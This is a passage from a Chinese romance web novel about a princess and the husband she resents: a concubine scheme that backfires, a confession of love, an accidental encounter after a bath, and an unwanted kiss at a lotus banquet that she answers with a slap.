她一副小大人的模样,甚是可爱,陆朝朝忍不住捏了捏她肉乎乎的小脸蛋,说:“我跟他和你爹娘可不同,绵绵不要担心,没事的。” 谢谦和郑婉然是有感情的真夫妻,她和谢妄算什么,空有名头的一对冤家罢了。而且现在情形很危险,谢妄贪图她的美色,万一哪天忍不住对她兽性大发怎么办?她得想想办法。 思来想去,也只想到一个办法。 这日天气晴好,蝉鸣声躁动,陆朝朝轻打着玉骨团扇扇凉,问风荷:“事情办得如何?” 风荷颔首答话:“禀殿下,都已经办妥了,人已经带回来了,皮囊生得不错,而且学过些伺候人的功夫。” 她又有些迟疑:“殿下,咱们真要找个这样的女子么,未免有失您的身份吧。” 陆朝朝撑着下巴,慵懒说话:“这样的才好,男人一般都喜欢吧,谢妄那种……肯定尤其喜欢,他也就装得正经。再说了,他要是真喜欢这种的,我正好借题发挥,把事情闹大,传到父皇那里,父皇说不定就会同意我把他踹了。” 她想得很完美,让风荷把人安置好,待暮色四合,趁着夜色送到谢妄房中。 谢妄休了几日婚假,如今已经正常回官署当值。刑部那些官员好不容易过了几天轻松愉快的生活,没想到大魔头这么快就回来了,都不禁扼腕叹息。 宋恒问了一句:“大人刚刚成婚,怎么不在家中多告假些时日?” 他觉得自己问得没问题,合情合理吧,结果被谢妄无情地瞥了眼,当即身形一僵。 谢妄只说:“你的事情已经做完了?” 宋恒讪讪回话:“没有,下官立刻去做事。” 谢妄看着面前的桌案,想到家里那位小公主近来对自己的态度,倒不如早些回来。她对自己如此避如蛇蝎,归根结底还是她不喜欢自己的缘故。兄长说,喜欢一个人会忍不住想和对方亲近。 他垂眸,翻开公文。 从官署回来时天色已经不早,闷热的暑气还未消退,夜风拂面亦裹挟着燥热,蝉声蛙鸣在灯影里此起彼伏。谢妄捏了捏眉心,让万山他们备热水沐浴。 他推开寝间的门,房中还未点灯,借着庭中的灯光,谢妄给自己倒了一杯茶水。正要起身点灯,忽地一个黑影从身后蹿出来。 陆朝朝趴在窗边偷看谢妄房中的动静,只见他房中的灯亮了,只见一道人影从他房中被丢了出来,紧跟着一声哀嚎。 “这是什么情况啊?”陆朝朝伸长脖子,想要看得更清楚明白,蓦地对上谢妄的视线。即便隔得远远的,陆朝朝也感觉到了谢妄眸中的寒霜之气,颀长身形更是朝着她这边过来了。 陆朝朝手忙脚乱地关窗,又让风荷赶紧关门,只是风荷动作终究慢了一步,谢妄修长笔直的大腿已经跨过门槛。隔得近了,更能感觉到他眼神中的冷意,他本来就爱冷着脸,这下更骇人了。 谢妄目光直视陆朝朝:“殿下这是何意?” 陆朝朝坐在榻上,被他居高临下地看着,无端有些心虚,声音都小了几分:“什么何意?”她眨了眨眼,装作听不懂的样子。 谢妄抿唇,他院中轻易不许闲杂人等进入,更遑论他的卧房。他院中的下人都是伺候了好些年的,知道他的脾气,不会犯这种低级错误,那个莫名其妙的女人只可能被陆朝朝带来的。 他眸光更犀利地盯着陆朝朝,陆朝朝只好承认:“好吧,是我。怎么了?” 她理不直气也壮地反问:“你不喜欢吗?她很漂亮啊,而且也很会伺候人,你不应该高兴吗?” 谢妄一声冷笑:“臣真是高兴至极。” 好阴阳怪气的一句话。 陆朝朝微抬高下巴,和谢妄对视:“本宫见驸马色欲熏心,所以贴心地给驸马纳妾,本宫可都是为了驸马好。” 谢妄冷声道:“公主的好意臣真是受不起,在公主心中,臣便是这样一个随便的人吗?会接受一个不知道从哪儿来的野人?臣自幼受谢家祖训熏陶长大,读的是圣贤书,不是那种会随处发/情的烂人。只有牲畜才会到处发/情,来者不拒。” 在他冷利的目光下,陆朝朝被说得有些不好意思,她垂下眸子,小声道:“你要是嫌她身份不明,那你喜欢哪家闺秀,也不是不可以商量。” 谢妄:“?” 谢妄脸色铁青:“看来我需要给公主重申一遍,首先,我不花心也不风流,有妻子一人足矣,不会选择纳妾。其次,我喜欢的人是你。最后,不可能和离,也不可能休夫 。公主倒是可以选择买凶杀人,变成寡妇再嫁。” 谢妄说完,转身就走。 陆朝朝坐在原位,愣了很久的神,直到忽然一阵凉风出来,她颤抖了下,才恍然回神,又觉得自己方才是不是听错了。她看向风荷:“你刚才听见他说什么了吗?” 风荷点头,把谢妄的话复述了一遍:“谢大人说……” 陆朝朝:“……停停停停,别说了。” 她扶住额角,感觉脑袋好痛。 不是,谢妄怎么真的喜欢她啊?他疯了吗?他脑袋被门夹了吗?他好端端的,怎么突然喜欢自己了?这么多年也没看出一点端倪啊?为什么啊? 陆朝朝只觉得整个世界都变得很玄妙。 她夜里躺在床上翻来覆去睡不着,睁开眼对着头顶的幔帐,又忍不住想,谢妄是不是疯了? 为此陆朝朝这天夜里都没睡好,第二日一早没精打采地睁开眼,甚至怀疑昨天晚上的一切是她做的一场梦。她洗漱过后,又问了一遍风荷,从风荷那里得到确切的答案,昨晚的一切都是真实发生的,而不是自己的一场梦。 所以,谢妄真的跟她说,喜欢她。 她咬住筷子,眉头又皱作一团。 待用过早膳,谢绵绵又过来找她玩,二人才走出门,就和谢妄不期而遇。 陆朝朝眨了眨眼,有点不知道怎么面对他,只好避开他的视线。 她自己心不在焉了一整日,从谢绵绵那儿离开之后,就出了门,去找傅宝嘉。 傅宝嘉正在府里耍枪,听见陆朝朝来,很是高兴,把枪给下人收好,便拉着陆朝朝在凉亭中坐下。 “朝朝,你怎么突然过来,也不先跟我说一声,我好让人准备些东西招待。” 陆朝朝耷拉着眉眼:“咱俩谁跟谁啊,还用招待什么?” 傅宝嘉和陆朝朝有些日子没见,从陆朝朝待嫁不能出宫开始,到她嫁到谢家,都两个月了,傅宝嘉有一肚子的话跟她说。毕竟这一切都发生得太过离奇又突然,她实在太好奇了。 “你快跟我说说,到底怎么回事啊?怎么当时突然陛下就给你们赐婚了,还成婚成得这般仓促?” 陆朝朝便把来龙去脉说了一遍,努嘴说:“我当时觉得,谢妄就是为了报复我才这么干的。父皇也不知怎么,铁了心要把我嫁给他,我本来想闹,又心疼父皇年纪大了,不想再惹他生气了。” “原来是这样啊。”傅宝嘉面露愧疚,“对不起朝朝,都怪我给你出的馊主意,要不是那件事,谢妄也不能这么报复你。他也真是歹毒,竟然连这种事都能用来报复你。” 傅宝嘉义愤填膺,狠狠地拍了一掌桌子。 陆朝朝支支吾吾:“但是,好像也不是这么回事……他……好像真的喜欢我……” 傅宝嘉声音大到惊走枝头飞鸟:“啊?” “你确定吗?”傅宝嘉瞪大双眼,一脸惊讶,“你从哪儿看出来的啊?” 陆朝朝赶紧捂住她的嘴,做了个噤声的动作,傅宝嘉点点头,压低了音量:“你快告诉我,到底发生了什么事?” 陆朝朝一声叹息说:“不是我看出来的,是他跟我说的,还不止说了一次,说了好多次,我才有点信了。” 她撑住脸颊,肩颈垮下去:“我现在都不知道怎么办了!” “而且,不止有他自己说,还有我发现他看一本话本,话本里的人是我们俩,但是内容特别的……下流。就是那种……” 傅宝嘉却哦了声:“我知道了。” 陆朝朝偏头:“你怎么就知道了?难不成你看过那种话本?” 傅宝嘉有些不好意思地笑起来:“哎呀,是看过一些啦。” 陆朝朝眼睛睁得好大:“你怎么也看那么下流的东西啦!” 傅宝嘉咳嗽了声,小声说:“我就是好奇嘛,就是知道你不能接受,所以我都没有告诉过你。” 陆朝朝撇嘴:“那……可是他看的那本,写的是我跟他的名字耶,还是很下流啊。而且那里面的内容简直不堪入目,我都不好意思回想,感觉眼睛都脏了。” 傅宝嘉好奇:“有多不堪入目?” 陆朝朝脸红了红:“反正就是很污言秽语,没办法跟你复述。然后,还有就是……那天我们进宫,路上出了一些意外,然后我就坐他腿上了,他那个什么我,好恶心。” 她说不出来,只能这么草草地描述。 傅宝嘉却是听得眼前一亮:“那你是不是感觉到了?” 陆朝朝胡乱点头。 傅宝嘉看了眼四下,特别警惕地贴近她耳边说话:“那你感觉怎么样?” 陆朝朝皱眉,在她胳膊上拧了一把,嗔怒地瞪她一眼:“什么怎么样啊,你在胡说八道些什么?傅宝嘉,我都不知道你也这么下流。” 傅宝嘉吃痛,讨饶:“好啦,我就是好奇嘛,又不能问别人,只有你成婚了,才问问你嘛。” 陆朝朝哼了声:“我们又没有怎样,哪里会有怎么样啦。” 傅宝嘉似乎还有些失望:“那……你总有感觉到,他的尺寸什么的吧。我看那话本里都说,男人那东西,像什么驴啊……之类的,然后就……嗯……”她挤眉弄眼。 陆朝朝气得又拧了她一把:“我怎么知道,我就觉得好恶心啊,然后感觉很恐怖啊,哪里有空感觉什么。我不要跟你说话了!” 她作势起身要走,被傅宝嘉拉回来坐下:“好好好,对不起,我错了嘛。我不该问你这些下流的东西,你说嘛,你有什么不明白,我帮你参谋参谋。你就是知道了谢妄喜欢你,你觉得很惊讶,很不能接受,是不是?” 陆朝朝点点头。 傅宝嘉托住腮,正经起来:“依我看嘛,其实谢妄也不差,脸、家世、才能都比你喜欢的那个章安澜还要好呢。不过他脾气和性格确实差劲,这是他的缺点。如今你既然都嫁给谢妄了,他又喜欢你,要不然你就试试,接受他?他脾气和性格不好,你就让他改嘛。要是他不肯改,那你再把他踹了。说不定他改了之后,真的是个不错的驸马呢。” 陆朝朝心里拿不定主意:“是吗?可是我感觉谢妄好讨厌。” 傅宝嘉点头:“他是挺讨厌的,不过你想想,他有没有一点优点嘛?” 陆朝朝当真认真思索起来,想了想,觉得谢妄也并非一无是处,譬如说,他那次替她挡刀,又譬如说,他上次帮她说话,吓唬陆皎月。 “也有一点点优点吧。” 傅宝嘉说:“你自己再想想吧。要我说,那个章安澜也没什么好的啦。” 说到章安澜,陆朝朝又说:“哦对了,我上次还想跟你说,我发现章安澜说的那个青梅竹马的心上人,好像是我来着。我本来想在马球会那天问问他,结果出了谢妄这档子事,我都没问他。” 她托住下巴惆怅道:“现在问好像也迟了。”到底是自己的少女心事,提起来还是有些伤怀。 傅宝嘉再次惊声:“什么?” 她真心实意地为闺中密友在两个男人中的抉择而发愁起来:“朝朝,要不你还是找个机会问问章安澜吧。要是他说是你,谢妄他改不了臭脾气,你索性把他踹了,改嫁章安澜。要是谢妄能改,那你再考虑考虑,其实章安澜以后未必比不上谢妄。” 两个男人都很优秀,还真的很难选。 陆朝朝:“……” 好像并没有得到什么实质性的建议。 傅宝嘉忽然灵机一动:“要不,你问问陛下,能不能两个都要?” 陆朝朝:“…………” 第38章 第三十八她看见了不干净的东西。…… 和傅宝嘉闲聊了半日,最后什么帮助也没有,反而还被她灌输了一些下/流的东西。傅宝嘉原本留她吃饭,陆朝朝没心思吃,便先走了。傅宝嘉送她离开的时候,还特别叮嘱,如果她们三个人的关系有什么大 的进展,一定要告诉她。 从傅家回谢家的路上,陆朝朝愁眉不展,她真的有点不知道如何面对眼下的情境。 从小到大,追求她的人不在少数,对于那些人她不喜欢自然不用搭理,只需要潇洒地拒绝便好,因着她是公主,压根无需顾虑任何人的身份。按说现下也该如此,她又不喜欢谢妄,管谢妄是不是喜欢她呢,拒绝他就好了。可是又好像有些不一样,或许因为她如今和谢妄多了一层名义上的夫妻关系?亦或者是因为谢妄一直以来都和她不对付? 陆朝朝也搞不清楚,总之她感觉心里有点乱。一切都和从前差距太大,她从未想过有一日谢妄和自己会成婚,更未曾想过谢妄竟然会跟她表白。 陆朝朝趴在马车的矮桌上,又想到傅宝嘉,傅宝嘉说:“其实谢妄喜欢你是好事啊,你从前不是一直想拿捏他吗?你要是接受了,岂不是可以狠狠拿捏他?他难不成还敢对你怎么样?就算你是虚情假意也可以啊。” 虚情假意就算了,她可不希望到最后又折腾出什么更大的幺蛾子来。 可是,她难道真的要试着接受谢妄吗? 她光是想想那场面,都觉得好诡异。 还有章安澜…… 陆朝朝趴在胳膊上,垂眸叹息,决定暂时不想这些让人心烦的事。 马车一路行驶,及至回到谢家。陆朝朝踩着脚凳步下马车,一路回了明心堂。风荷出门前吩咐厨房炖了汤,便去看厨房的汤,陆朝朝点头,兀自推开房门。这会儿的日头正大着,晒得人慵慵懒懒,陆朝朝掩嘴打了个哈欠,有些困倦之意,正要往榻上躺,忽地听见些微动静从净室里传来。她眉头一皱,疑惑地走向净室,而后便看见了谢妄。 准确来说,是未着寸缕的谢妄。 他光着身子,肌肉紧实,光滑的胸肌上还有未擦干净的水滴落下,长发垂散,亦被打湿。水珠从他头发上顺着往下滴落,陆朝朝的视线也顺着水珠的方向往下,在触到什么时,终于反应过来,惊叫一声捂住眼睛,背过身大退了几步,质问道:“你你你你你你怎么不穿衣服在我房间里干什么!” 她心跳迅速,刺激着耳膜,方才那一幕对她的冲击实在太大。 她看见了什么?! 她的眼睛不干净了! 啊啊啊啊啊啊啊啊啊啊! “来人!”陆朝朝惊慌失措地唤婢女,风荷不在,水月带着另外两个小婢女匆忙赶来,以为是公主出了什么事。 还未走进净室,又听得里头传来驸马的声音:“退下。” 水月几人脚步一顿,没想到驸马也在,公主和驸马两个人在净室里吵架……? 陆朝朝听见谢妄的话,气恼道:“你想对我干嘛?我警告你,你要是想对我做点什么,我会杀了你的。”她始终捂着眼睛,不敢松开。 没听见谢妄的回答,只听见他的脚步声步步逼近,陆朝朝心中慌乱地后退,后背撞到屏风时又被吓了一跳,紧跟着便感觉谢妄的手从她头顶掠过,衣料的摩擦声在她眼前传来。 陆朝朝从指缝里露出半只眼睛,见谢妄已经将衣服披上,正慢条斯理地整理。她松了口气,扶着屏风吞咽了声。 谢妄终于回答她的问题:“我只是来借净室沐浴一用。”他脸色不大好看。 他房中的净室浴桶不知为何破了,他这会儿想沐浴,见陆朝朝不在,便想借净室一用先沐浴更衣,没想到她会刚好回来。 陆朝朝狐疑道:“你自己房间不能洗澡吗?为什么非要来我房间洗澡?” 谢妄将衣衫整理好,又抬手将头发理了理,道:“坏了。” 陆朝朝:“是吗?那你洗完了吧?可以出去了吗?” 谢妄道:“洗完了。” 他从她身侧越过,出了净室。 水月她们仍在外头候着,不知该进还是该退,见谢妄头发湿着披散出来,皆是一惊。驸马这般模样,和公主在净室里难不成发生了什么? 她们不敢多看,匆匆低头。 陆朝朝扶着屏风的手力道一松,好一会儿,才缓缓走出来。 她看了眼婢女们,蹙眉吩咐:“以后没有我的允许,不许放他进我房间,尤其是在没人的时候。” 婢女们应下,退了出去。 陆朝朝捂着心口,瘫倒在美人榻上,后知后觉地察觉到自己的脸烫得厉害。她侧过身子,远远地对着铜镜自照,果真已经红成了苹果。 方才那一幕还在她心头挥之不去,她一闭上眼睛,就是谢妄光着身子,水珠滴落的场景,以及那一幕骇人的东西。 她不合时宜地想到了傅宝嘉说过的话,她上回是真的没什么感觉,但方才却真切地看到了。 好像是挺那啥的,但是好难看,感觉有点恶心。 陆朝朝嫌恶地扯了扯嘴角,又猛地搓胳膊,果然污言秽语就是容易污染人的脑子。 过了好一会儿,她脸上热度才渐渐退了下去。陆朝朝靠着圆枕,看向窗外。檐下的竹帘放了下来,遮去刺眼的阳光,剩余的光线再经柔和的窗纱一滤,愈发地显得温和。 陆朝朝沐浴着温和的日光,紧绷的身体慢慢放松下来,只是眸子才垂下来没多久,脑海中又闪过方才那一幕,陆朝朝倏地睁开眼。 风荷从厨房端了鸡汤回来,还呈上一张宁安侯夫人递来的帖子,说是邀请陆朝朝参加清荷宴。风荷道:“殿下若是不想去,奴婢便寻个由头拒了。” 陆朝朝思忖片刻,道:“去吧。” 左右她窝在家中也没什么事做,倒不如去参加宴会热闹一下。 风荷一顿,又道:“不过殿下,帖子是邀您和驸马同去的。您看……” 陆朝朝撇嘴:“那你问问谢妄去不去?他肯定不爱去这种场合,他不去我就自己去。” 陆朝朝没想到,风荷回来禀报,却说谢妄也愿意去。 “他去干嘛?”陆朝朝嘟囔了句,还是让风荷准备过两日赴宴的衣服。 去赴清荷宴这日,陆朝朝穿了一身鹅黄色的百迭裙,清新明丽,叫人眼前一亮。她和谢妄二人一同出门,谢妄的眸光在她裙摆上停留了许久,陆朝朝见状道:“你喜欢这条裙子吗?那我让人再送你一条。”她挑眉。 谢妄不语,别过头,而后跟在陆朝朝身后往出府的方向走。 二人行至府门外,有两辆马车在等候。 陆朝朝登上其中一辆,示意谢妄去另一辆马车,她可不希望再发生上回那种事。 谢妄默然片刻,登上了另一辆马车。 此番清荷宴,宁安侯夫人邀请的人不少,二人抵达宁安侯府时,已经有宾客先至。二人下了马车,有婢女引领他们向后院走,二人并肩而行,穿过游廊,又走了些路,终于见到了宁安侯夫人。宁安侯夫人向陆朝朝见礼:“见过昭阳公主,公主与驸马这边请吧。” 陆朝朝和这位宁安侯夫人没什么交情,寒暄两句后便去了她安排好的位置入座。谢妄正欲跟随陆朝朝的脚步,却被宁安侯夫人叫住:“谢大人留步。” 谢妄看着她,猜到了她的意图。 宁安侯夫人福了福身,小声道:“侯爷想见见谢大人,不知谢大人可否赏脸,去偏厅一叙。” 宁安侯夫人之所以邀请谢妄,是为着宁安侯,宁安侯近来牵扯进了一桩案子里,他想见谢妄,可谢妄总是不见他,他这才想到这个办法,让夫人给公主下帖子,邀请驸马同至。原本只是抱着死马当活马医的态度,没想到谢妄竟然真的会来。 谢妄不语片刻,而后道:“带路。” 他之所以不见宁安侯,就是要让他为此着急,人只有急了才会露出更多破绽。 宁安侯夫人松了口气,马上让自己的贴身婢女带谢妄去偏厅见宁安侯。 池中的荷花开得的确不错,桌上的糕点用荷叶做托盘,似乎也是用荷叶做的,吃起来有一股荷叶的清香。陆朝朝咬了一口, 搁下糕点,才发现谢妄没有来。 陆朝朝回头看了看,没看见谢妄的身影,算了,他爱去哪儿就去哪儿。 倒是看见了傅宝嘉,傅宝嘉也看见了陆朝朝,朝她招了招手,便过来找她。 傅宝嘉好奇地问:“谢妄呢?他没跟你一起过来吗?” 陆朝朝点头:“他来了,不知道去哪里了。” 傅宝嘉眨了眨眼,小声追问:“那你跟谢妄有没有什么新进展?” 陆朝朝摇头:“能有什么进展啊?我又不喜欢他,他那么讨厌的一个人……” 她话音一顿,忽地想到昨日的一幕,猛地有个念头闪过,这算是新进展吗? 呸呸呸,当然不算了! 陆朝朝甩掉自己的念头,继续和傅宝嘉说话:“你好像很希望我们有什么进展?” 傅宝嘉点头:“对啊,感觉很奇妙啊,那么不可一世的谢大人,对我最好的朋友为爱低头,想想就很有意思啊。” 陆朝朝瘪着嘴:“他低个鬼的头,嘴上说着喜欢我,结果还不是天天拿一副臭脸对着我,该气我该阴阳怪气我的时候一点也没少。” 也有那么一丢丢的改变吧,但那些微末的改变,压根可以忽略不计吧。 傅宝嘉摸着下巴思考:“那他不行,活该追不到你。” 按照傅宝嘉的逻辑,既然表明了心意,就该做一些什么拿出自己的诚意。 她忽地诶了声,拿胳膊肘撞了撞陆朝朝:“朝朝,你看,那是不是章安澜?” 第39章 第三十九吻。 陆朝朝循着她的视线看去,果真望见一道如松如柏的身影,即便周遭人群往来,也难掩他出众的风姿。 正是章安澜。 隔着人群,章安澜似乎也察觉到她的目光,竟抬头与她遥遥对望。 已经有许久没见到他了,上一次见他还是在马球会,此时陆朝朝想象着他与自己两情相悦的桥段,一晃眼,却物是人非。陆朝朝一时心有感慨,不知该怎么面对章安澜,索性垂眸移开视线。 傅宝嘉怂恿她:“朝朝,要不你现在就去问问章安澜?” 陆朝朝拒绝:“不要啦,这么多人,我怎么问。而且我也问不出口。” 她名义上都嫁给谢妄了,再跑去问章安澜,你以前是不是喜欢我,听起来也不好,她怕她真问了,章安澜会觉得她朝三暮四。 傅宝嘉道:“你把他约到个人少的地方问问不就好了,我帮你约。” 她说罢,在丫鬟身边耳语几句,便让丫鬟入了。 陆朝朝赶紧把人拦住:“宝嘉,你别给我添乱了,已经很乱了。” 傅宝嘉:“好吧。” 陆朝朝叹了一声,坐下又吃了几口糕点,只是心不在焉,连糕点是什么滋味都没尝出来,目光更是时不时地往章安澜那儿瞟。 章安澜出身河西章家,又是新晋状元郎,家世皮相都优越,自然不乏与他结交之人,章安澜始终面带微笑地与他们说话,不远不近,恰到好处。也偶尔有人将他同谢家那位二公子放在一起提及,只道他日后定能与谢家二公子比肩。 言下之意,便是他如今不如谢妄。 章安澜听得这话,睫羽微垂,遮住眸中的几分冷意,唇角的笑也从暖转冷。终有一日,他会比谢妄更强。只是不知,他还有没有机会再站在她身边。 章安澜抬头,朝那道鹅黄色身影看去。 她正和朋友说话,笑意吟吟。 章安澜指甲陷进手心几分。 “章大人,别来无恙。”陆皎月停在章安澜身侧不远处,同他打招呼。 章安澜收回视线,笑了笑:“臣见过明月公主。” 陆皎月起初对章安澜有兴致,是因着陆朝朝喜欢他,陆朝朝喜欢的东西,她就想抢走。可陆朝朝却突然和谢妄又有一腿,还嫁给了谢妄,这让陆皎月有些始料未及。陆朝朝成婚的那两个月,她在曦光殿甚少出来走动,陆皎月能与她针锋相对的时候也少,连带着对章安澜的关注也就少了。 方才见着他,她又想起来了。 抛开陆朝朝的缘故,她对章安澜也有一些些感兴趣。 陆皎月笑道:“本宫前些日子才知晓,原来章大人竟是拒绝了本宫三回。那夜琼林宴上第一回,后来本宫约章大人相见,是第二回,太后娘娘那里是第三回。本宫自认为姿色出众,才华也不差,不知哪里得罪了章大人,让章大人这般一而再再而三地羞辱本宫呢?”她虽是笑着,这话里却带着一种尖锐感。 章安澜恭敬答话:“臣不敢羞辱殿下,只是情之一字,不能勉强。即便臣为了荣华富贵允诺娶殿下,日后殿下却得不到幸福,那才是耽误殿下。” 陆皎月道:“是么?可你怎知,我若是嫁给你,天长地久,你不会对本宫动心?本宫有这种自信。” 她笑意更深,倾身凑近章安澜耳边:“何况,章大人几时是这种君子作风了?” 她又让人去暗里查过章安澜,正如她所料,章安澜可不是表面看起来的霁月君子。他从章家厮杀出来,心必须狠,手必须辣,而明面上还得落个安静的名声。 她看完这些,不禁拍手叫好,越来越有意思了。 章安澜脸色微变,随即恢复如常:“臣听不明白殿下在说什么。” 陆皎月挑眉笑:“听不明白,那便慢慢参悟吧。” 陆朝朝看见了陆皎月和章安澜站在一起,不由得心中一阵紧张,陆皎月去找章安澜说什么?她不会还想打章安澜的主意吧? 她咬了咬唇,站起身,就算她现在不能嫁给章安澜,她也不想章安澜入火坑,陆皎月那种人就是火坑。她正想让风荷去打听打听,身侧的高大身影不知何时出现的,冷淡的声音吓了她一跳:“公主就这么当着我的面频频看别的男人,是否不大妥当。” 陆朝朝讶然侧过视线:“你方才去哪儿了?” 谢妄道:“处理了一些公事。” 陆朝朝皱眉,他在这里能办什么公事?好奇怪的说辞,但是管他呢,她又不是真的想知道,就是随口一问。 “有什么不妥的,我就爱看,你不是知道我喜欢他吗?”陆朝朝带了些和他作对的心思,故意这么说。 谢妄薄唇一抿,一时无言,片刻之后说了一句:“哦,可惜公主此生没有嫁给他的机会了。” 陆朝朝一听这话就来气,他什么态度啊?分明就是他从中作梗,现在还这么理直气壮,就算他说他喜欢自己,喜欢自己就能耍这种手段吗?再说了,他现在这副要死不活的态度,到底哪点看起来像喜欢她啊? 把这院子里的人全问一遍,能看出来谢妄喜欢她的能有一个人吗?除了他自己这么说。 陆朝朝瞪大眼睛看他:“你怎么知道没有机会?我告诉你,我总有一天踹了你,再说了,你自己不也说了吗,我还可以当寡妇。我看你就一副短命鬼的面相,指不定过两年就死了。” 虽然咒人死有点缺德,但是对谢妄就刚刚好。 谢妄面色也是一冷,她就这么喜欢章安澜么? 陆朝朝背过身,不想看见那张让人讨厌的脸。 他们二人剑拔弩张,周遭不时有人看过来,陆朝朝不想面对他们探究的目光,拉着傅宝嘉换了个位置去看荷花。谢妄看着她的背影,心下有几分懊恼,他们俩说话总是如此,没几句就要吵起来,而她和章安澜说话的时候却总是温柔含笑。 母亲说,他应该哄着她,他也不知要如何哄着她。 陆朝朝和傅宝嘉两个人沿着岸边走了一段,走进了荷花池里,荷花池中修了栈道,以便更近地观赏荷花。栈道有横竖好几条,荷花根茎高,看不清前边的状况,陆朝朝没想到会在这里面遇上章安澜。 章安澜行礼:“臣见过昭阳公主,好巧,公主也来赏景。” 陆朝朝又惊又喜,点点头:“这些荷花开得很好看,没想到章大人也会来。” 章安澜笑了笑,他当然不是来看景的,他方才目睹她和谢妄两个人争吵,不欢而散,而谢妄竟然一言不发,任由她这么赌气走了。他原本以为她和谢妄应该会过得很开心,可是这才新婚几日,他怎么可以这么对她? 他是跟着陆朝朝过来的,想安慰开导她一番。 “臣见公主似乎有些不开心,不如臣陪公主看看荷花,散散心。” 陆朝朝还没说话,傅宝嘉先替她应了:“好啊好啊,你们去吧,我有点累了,就在这儿歇会儿。”傅宝嘉说完,又给陆朝朝使了个 眼色,示意她这是绝好的机会,快问章安澜。 陆朝朝当然明白傅宝嘉的意思,只是她并不知道怎么开口。她只好沉默着,将视线落在那些荷花上,装作自己真的在看花。 章安澜也沉默了许久,才开口:“方才公主可是和驸马吵架了?” 陆朝朝点头:“对啊,他老这样,根本不会好好说话,只会气人。从小到大,我一直很讨厌他。” 章安澜脚步一顿,才重复迈步,压下心中的激动:“既然公主讨厌驸马,又为何……” 陆朝朝欲言又止:“说来话长。” 那些事也不能告诉章安澜,算了。 章安澜哦了声,又沉默许久,“那日马球会,公主是不是有话要与我说?” 陆朝朝没想到他竟然会先提及此事,她停下步子,心念一动,当真想要问问他,她迟疑着,迎着他的目光,终是开口:“我是想问,我们小时候是不是见过?” 章安澜眸色颤动,唇角微微上扬,给出肯定的回答:“是。” 陆朝朝心也跳得有些快,还想再确认一遍:“那……” 话音刚出便被打断:“公主。” 谢妄目光落在章安澜身上,眸色如霜。 陆朝朝蹙眉看向来人:“你怎么来了?” 谢妄上前几步,在陆朝朝身侧停下:“孩子胎动了,你听听。” 陆朝朝:“……” 他还装上瘾了是不是? 她恨恨地踩了他一脚,却被他提醒了自己的身份,不论如何,她如今已经嫁给谢妄,若是再和章安澜走得太近,会落人话柄,反而对章安澜不好。她想要的答案已经知道了,至少心里的结打开了一个。 “章大人,本宫先走了。”陆朝朝笑了笑,和章安澜告别,而后把谢妄留在原地,兀自离开。 谢妄正欲跟上,被章安澜叫住:“缜之兄,为何要如此做,明明我与你说过……” 谢妄瞥他一眼:“没有为什么,我想,故而我做。” 章安澜轻笑一声:“好一个你想,你我之间的情谊,看来到此为止了。” 谢妄道:“我与你之间,并无甚情谊。” 章安澜看着他的背影,眼神骤然变冷。 谢妄追上陆朝朝的身影:“公主。” 陆朝朝停下来,一脸怨怼地看着谢妄,她方才知晓了答案,这会儿正是恼怒他的时候,又想到他的态度,愈发没好气:“你还想说什么?我知道我现在不能嫁给他了,可以了吗?” 谢妄沉默须臾,道:“我哪里不如他?” 陆朝朝冷笑一声:“你哪里都不如他,这么说你满意了吗?你也别说你喜欢我了,我不需要你的喜欢,我巴不得你别喜欢我。” 谢妄听得这话,心中一股无名火,只觉得头顶火热的骄阳烤着他的心,叫他有些丧失理智。他的目光落在她脸上,她脸上写着对他的不喜与厌烦,翕动的红唇仿佛一团跳动的燃烧着的火焰。 谢妄倾低头颅,将这团火咬住。 第40章 第四十章那时候我不知道我会喜欢你。…… 唇上传来的触觉无比陌生,陆朝朝无论如何也没想到有朝一日她和谢妄竟会有这样的时刻,谢妄吻了她。 她脑子里飘过这件事,思绪迟缓地反应过来,而后猛地将人推开,抬手甩了他一巴掌。她这一巴掌用了十分的力气,因为她真的很愠怒,故而片刻之后,谢妄脸上清晰地映出一个巴掌印。 “你干什么?”她用手背反复擦拭嘴巴,又急又气,嫌弃之情溢于言表。 “你无耻,你下流,你卑鄙……你简直不是人。”陆朝朝红了眼眶,恶狠狠骂他。 她兀自骂完,又匆匆走了。 谢妄站在原地,感受着脸上火辣辣的疼痛,一时间心绪纷乱。 他也不知自己方才为何会做出这样的事,那一刻他好像完全失去了理智,这很不像他自己的作风,连他自己都对自己感到陌生。 盛夏燥热的风拂面而来,似乎吹得他脸上掌印更为火辣辣,他负手而立许久,才缓步走出栈道,出了荷花池。 千山他们都没跟着,在荷花池在等候,只是没多久就看见昭阳公主红着眼匆匆而去,正诧异着,又看见自家公子跟着出来,脸上还带着一道巴掌印。 千山二人对视一眼,皆是震惊。 他们家公子自幼身份尊贵,在京城里也可谓是含着金汤匙出生,地位也只在皇室之下,从来无人敢这样轻侮他。即便公子和昭阳公主一向吵吵闹闹,但也从没有闹成过这样子,实在不知二人这回吵了什么,他们也不敢多问。 谢妄面如寒霜,只道:“回府。” 二人默然跟在身后,从荷花池出来势必要经过长亭,宾客们正聚在一起,看见谢妄脸上顶着一道新鲜的巴掌印,都颇为惊诧,频频侧目。 有人窃窃私语:“谢大人这是怎么了?莫非与昭阳公主吵架了?” “兴许是,昭阳公主方才也走了,瞧着不大高兴。” …… 谢妄对他们的眼光和议论视若无睹,只是快步离开。 待登上马车,谢妄靠着车厢自胸中长吐出一口气,手指亦攥紧又松开,松开又攥紧,如此反复几次,才觉心绪平复了些。 他方才……吻了陆朝朝,陆朝朝打了他一耳光。 这在他的人生里都属于匪夷所思的事。 谢妄不由得伸手碰了碰唇,回忆起唇与她唇贴在一起的滋味。她的唇瓣和他梦里的一样软,她的唇脂带着些许的甜与涩,被他吃进口中,在他唇齿之间辗转,此刻仿佛仍有回味。他舔了舔唇,复阖上眸子,又重重吐气。 陆朝朝这回应当非常生气,也许真要铁了心和他和离。如此行径正坐实了她对自己的控诉,或许也激起了她十足的厌恶。 他忽而有些不知所措,不知要以何种态度面对接下来的一切,一向运筹帷幄的人头一回觉得茫然,甚至有些逃避。 陆朝朝连谢家都不想回了,谢家本来也不是她的家,她委屈地在马车里坐着,吩咐车夫回宫。她回了曦光殿,在熟悉的环境里终于找到一丝安全感,而后趴在桌上垂头丧气。 谢妄他怎么敢…… 他怎么可以…… 强吻自己呢…… 陆朝朝迟滞地盯着面前的地砖,回想起来还是觉得难以置信,她的初吻,竟然发生在这种情景里。 “不管怎么样,我都必须和他和离。”她自言自语道,可想到父皇那关,肩膀又耷拉下去。 父皇大概不会同意的,陆朝朝不知道为什么父皇一定要让她嫁给谢妄,好烦,怎么办呢? 